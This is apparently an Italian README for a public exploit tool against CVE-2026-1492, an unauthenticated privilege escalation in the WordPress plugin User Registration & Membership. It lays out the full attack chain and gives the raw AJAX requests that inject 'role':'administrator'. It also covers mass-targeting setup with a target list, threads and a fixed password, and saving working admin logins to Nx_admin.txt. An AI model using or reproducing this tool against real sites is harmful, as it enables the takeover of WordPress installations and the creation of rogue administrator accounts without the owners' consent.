nxploited/cve-2026-1492User Registration & Membership <= 5.1.2 - Escalation dei privilegi non autenticata tramite la registrazione dell'iscrizione
User Registration & Membership <= 5.1.2 - Escalation dei Privilegi Non Autenticata tramite la Registrazione alla Membership
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-1492 |
| Gravità | CRITICA — Punteggio CVSS v3.1: 9.8 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Interessato | User Registration & Membership — Plugin per WordPress per la creazione di form di registrazione personalizzati, form di login personalizzati, profilo utente, restrizione dei contenuti e membership |
| Versioni Interessate | Tutte le versioni fino alla 5.1.2 inclusa |
| Tipo di Vulnerabilità | Gestione Impropria dei Privilegi — Creazione Non Autenticata di Account Amministratore |
| Autenticazione Richiesta | Nessuna |
| CWE | CWE-269: Gestione Impropria dei Privilegi |
Descrizione:
Il plugin User Registration & Membership per WordPress è vulnerabile all'Escalation dei Privilegi Non Autenticata in tutte le versioni fino alla 5.1.2 inclusa. La vulnerabilità deriva dal fatto che il gestore AJAX user_registration_membership_register_member accetta un valore role fornito dall'utente durante il processo di registrazione alla membership senza applicare alcuna lista consentita lato server o verifica delle capacità. Un attaccante remoto completamente non autenticato può creare una catena di richieste AJAX multi-step — registrando prima un nuovo account utente, poi inviando una chiamata register_member dannosa con "role": "administrator" iniettato nel payload JSON members_data — per creare silenziosamente un account Amministratore WordPress con pieni privilegi. Ciò comporta la compromissione totale dell'installazione WordPress interessata senza richiedere alcuna interazione con l'utente.
Questo è uno script di sfruttamento Proof-of-Concept (PoC) che implementa una catena di attacco completa e state-aware contro siti WordPress che eseguono una versione vulnerabile del plugin User Registration & Membership. Lo strumento esegue uno sfruttamento intelligente multi-fase con scoperta automatica, estrazione dei piani, raccolta dei nonce, registrazione a doppio flusso, iniezione del ruolo e verifica dell'amministratore.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Oppure tramite file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clona il repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Installa le dipendenze
pip install -r requirements.txt
# Esegui lo strumento
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
Lo strumento utilizza un'interfaccia terminale completamente interattiva basata su Rich. Tutti i parametri vengono richiesti a runtime.
Crea un file di testo semplice (predefinito: list.txt) con un target per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Lo strumento scopre e analizza automaticamente:
| Target | Cosa viene Estratto |
|---|---|
/membership-pricing/ | ID dei piani di membership, link alla pagina di registrazione |
/registration/ | Campi del form, nonce, URL AJAX, input radio della membership |
Oggetto JS user_registration_params | nonce ajax_url, security, metadati del form |
ur_membership_frontend_localized_data | nonce specifico della membership, endpoint AJAX |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Il server accetta il campo
roledal client senza alcuna validazione tramite lista consentita — questa è la causa principale di CVE-2026-1492.
Lo strumento apre una nuova sessione, effettua il login con le credenziali appena create e verifica:
| Endpoint | Indicatore Controllato |
|---|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |